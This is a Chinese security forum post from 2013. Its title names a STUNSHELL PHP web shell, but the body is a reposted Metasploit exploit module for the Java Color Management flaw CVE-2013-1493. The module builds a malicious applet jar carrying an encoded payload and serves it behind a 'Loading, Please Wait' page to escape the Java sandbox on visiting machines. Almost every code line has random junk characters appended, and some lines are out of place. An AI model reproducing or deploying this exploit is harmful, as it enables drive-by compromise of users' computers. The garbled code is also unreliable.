找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2553|回复: 0
打印 上一主题 下一主题

STUNSHELL PHP Web Shell远程执行代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:31:17 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
##
" j6 N6 j& L! u% @
& `1 E) O' @. Y: F# This file is part of the Metasploit Framework and may be subject to
( U% \. }+ z/ r# r- A# redistribution and commercial restrictions. Please see the Metasploit
, H/ v9 Z4 S* D4 n: e# web site for more information on licensing and terms of use.: ~* p+ z- X% H7 {6 [$ V% C0 g
# http://metasploit.com/
+ d1 d# n" \9 \; X##
+ e8 {/ u0 \0 l$ f1 j# c* j* N- Brequire ‘msf/core’
+ A9 e3 e+ U) r( l3 Urequire ‘rex’
9 U4 R; y- p. o" H# wclass Metasploit3 < Msf::Exploit::Remote% Y% ?  J7 I+ Z: G
Rank = NormalRanking
, z' W4 [) M/ D9 Y% minclude Msf::Exploit::Remote::HttpServer::HTML  Q$ E9 Q) P4 P( ^7 G3 u7 }3 V
include Msf::Exploit::EXE
% e, f+ z+ f5 R- M9 Ninclude Msf::Exploit::Remote::BrowserAutopwn
) o/ k2 m! N6 u2 D( X  r% ^autopwn_info({ :javascript => false })
8 B* I  w+ F+ p8 n8 bdef initialize( info = {} ): C8 k% ?, |9 P- e
super( update_info( info,2 Q6 |" Y3 ]- E' S; `5 p8 u) \
‘Name’ => ‘Java CMM Remote Code Execution’,
, }; ?2 F$ x6 H$ i‘Description’ => %q{7 i& B( Y5 F- q
This module abuses the Color Management classes from a Java Applet to run
% A: I$ B: ]7 s' N0 |7 O7 Jarbitrary Java code outside of the sandbox as exploited in the wild in February
% G7 T1 I& X: M, |% K2 k- M7 {) [and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u419 [; B; ~+ x. M  @# ~" Z
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1/ ~( ]$ r6 l6 o" ~) |
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java6 U, V$ Q0 f" u- b9 Z2 A
warning in order to run the malicious applet.1 W: M0 B7 W4 k0 ]: ^& Z, O1 q& p
},
& ~, B3 p" \0 o# p‘License’ => MSF_LICENSE,
! j0 W) }' i4 i/ z' w‘Author’ =>1 q3 j5 V) F+ R, _
'Unknown', # Vulnerability discovery and Exploit2 J* M9 d9 W# a2 z' [8 Z0 X
'juan vazquez' # Metasploit module (just ported the published exploit)+ T5 a7 Q4 l4 A- f
],
  C% I  p* y; R3 b‘References’ =>$ F4 a. h4 X' x" f! w, O
[
/ w( D! e5 U0 ?# g9 }[ 'CVE', '2013-1493' ],; }# r9 _' I- e0 O6 u6 {) L! s3 c* u
[ 'OSVDB', '90737' ],- k& b% @, Z6 n4 p' E( w
[ 'BID', '58238' ],' x0 O  s7 y* R$ m* n
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],' v2 ~5 Z+ G# |
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
$ w+ ]( d* K7 ?8 n$ _[ 'URL', 'http://pastie.org/pastes/6581034' ]. m+ R6 E2 x% ~' p, i
],
# m" L1 u4 z4 a‘Platform’ => [ 'win', 'java' ],
8 N8 w4 H- [, F& o‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
- I+ n# V  A' h& C! a; }- I! z‘Targets’ =>
2 @6 l' F) R! \( ?[
" e" E. A3 r6 k+ P( Y: ][ 'Generic (Java Payload)',3 X( X# I# X4 }3 L7 ~$ Q
{5 Y  V6 ?- ], m6 y# z4 R; O$ y% |
'Platform' => 'java',
- o" T) L5 b2 k1 }4 h1 p8 F'Arch' => ARCH_JAVA
" P8 a! a- o. p}) w* K+ p4 b/ R5 S* f1 U
],) P' V# y7 g( ~) B& M+ ]
[ 'Windows x86 (Native Payload)',1 j$ }8 @/ ~: e; Y5 g
{
7 [, ~4 L7 {- Z# F9 h% }" v  j'Platform' => 'win',+ e) L/ p/ u/ w+ B5 A9 h/ c7 Z" E
'Arch' => ARCH_X86# M' I( s* m4 y$ m" X( C$ r0 ]) v% r
}
0 e8 q0 O! z% r]+ U4 p& N* P  |1 T3 |, Z- h( H
],4 y. M9 W' m- R* l1 P
‘‘DisclosureDate’ => ‘Mar 01 2013′. q6 d  I& r8 U
))  k+ B# a# }3 C( T+ w
end
# b8 @4 F' S( M: wdef setup
0 x6 [+ j) |. }! x% G5 _path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
- }# j& |1 n% P@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }2 i1 }0 z+ x% O) L
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)) \) {' g+ {/ r+ _9 Y
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }+ D% _* G$ P: T1 d; s7 Y. a
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)' O7 f# y7 d; F1 w3 ^& U. p
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }. p8 P3 f  J9 c# F, z
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)6 ?) {% y$ u: M/ B* ?3 M
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
& ^( z0 L2 O5 |; a! g0 X7 |2 z@init_class_name = rand_text_alpha(“Init”.length)
8 I' f9 ~" K1 F@init_class.gsub!(“Init”, @init_class_name)
& r0 p$ l0 O' N- U- [super, m: c. J9 `1 \: m* L: W6 B
end
/ ?* N# b- Q+ D5 Qdef on_request_uri(cli, request)
3 j6 z- i9 D/ \5 k2 d8 _3 K; [print_status(“handling request for #{request.uri}”)2 y8 h$ G1 g6 C& u4 L& ?6 t
case request.uri
0 \' n0 I2 Y! twhen /\.jar$/i6 A+ Y  m' z, _- \+ D
jar = payload.encoded_jar
1 w( I* n) ?- K" |5 A' njar.add_file(“#{@init_class_name}.class”, @init_class)
/ B( _# U( N: x0 c0 X) ~9 M6 {jar.add_file(“Leak.class”, @leak_class)
( n0 l5 ?, C$ Y1 qjar.add_file(“MyBufferedImage.class”, @buffered_image_class); k! D. N' Q0 K0 E2 I$ z9 y
jar.add_file(“MyColorSpace.class”, @color_space_class)
1 w6 Y8 o8 i# g& P( GDefaultTarget’ => 1,
- h* L, \5 q5 R$ k5 }metasploit_str = rand_text_alpha(“metasploit”.length)
' ]# n! X' q( _* `+ [1 V' j9 _/ upayload_str = rand_text_alpha(“payload”.length)% b- t# P. _9 y/ P& H& Z8 }# j
jar.entries.each { |entry|" K6 X# U$ I  P( X# `
entry.name.gsub!(“metasploit”, metasploit_str): Y* Y' @! z. k. Z' W
entry.name.gsub!(“Payload”, payload_str): A6 r( H  Y8 o( Z5 ]7 P# |; D! e
entry.data = entry.data.gsub(“metasploit”, metasploit_str)
$ }+ b* P2 b4 Q. _+ C& ^- Z- y0 sentry.data = entry.data.gsub(“Payload”, payload_str)
* w4 [# `# t# p$ O}: ?9 N/ v& a' O) M# G
jar.build_manifest/ o4 C$ u8 P( Q- \
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })2 {+ _( r9 {: D. p* q2 x3 @
when /\/$/
; @. T) c9 U' ^payload = regenerate_payload(cli)% v+ t  w3 d: |  @. c. p9 r6 o- M
if not payload
% N1 I3 ]: ?% y3 x) `; @5 F6 M$ Bprint_error(“Failed to generate the payload.”)
3 m" d/ `7 u# Usend_not_found(cli)% ^" u+ u$ S9 K- @# s
return
, e! n* }" G: j( J' Mend5 N( K9 t) y) p8 C8 o+ |
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
8 ]4 F& s% ]9 \' b5 H1 ielse
( U7 o& t. m# m" Z1 _- @# s" ~6 X2 Isend_redirect(cli, get_resource() + ‘/’, ”)
  A) j  n; X6 cend
' O; H! s8 ?9 eend; k6 H) C) s% ^% P  P
def generate_html
* ^' }( ]5 q& j' B/ P+ whtml = %Q|<html><head><title>Loading, Please Wait…</title></head>|, D: z% y; q" w) f5 c* L; @0 _9 Q& q+ W
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|
; W& `" w' a% f% ~: Y* q& l1 {* u8 U9 Khtml += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
* ?1 G3 }  @7 zhtml += %Q|</applet></body></html>|" d- Y, ]/ l) L& e
return html7 }2 [4 x+ V1 t' q6 y8 m9 P
end
4 D# D8 F. R  h) C* U' f$ Xend
# V6 c8 I$ T6 a' X& h4 @1 xend
3 R; a) T' Y, _7 a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表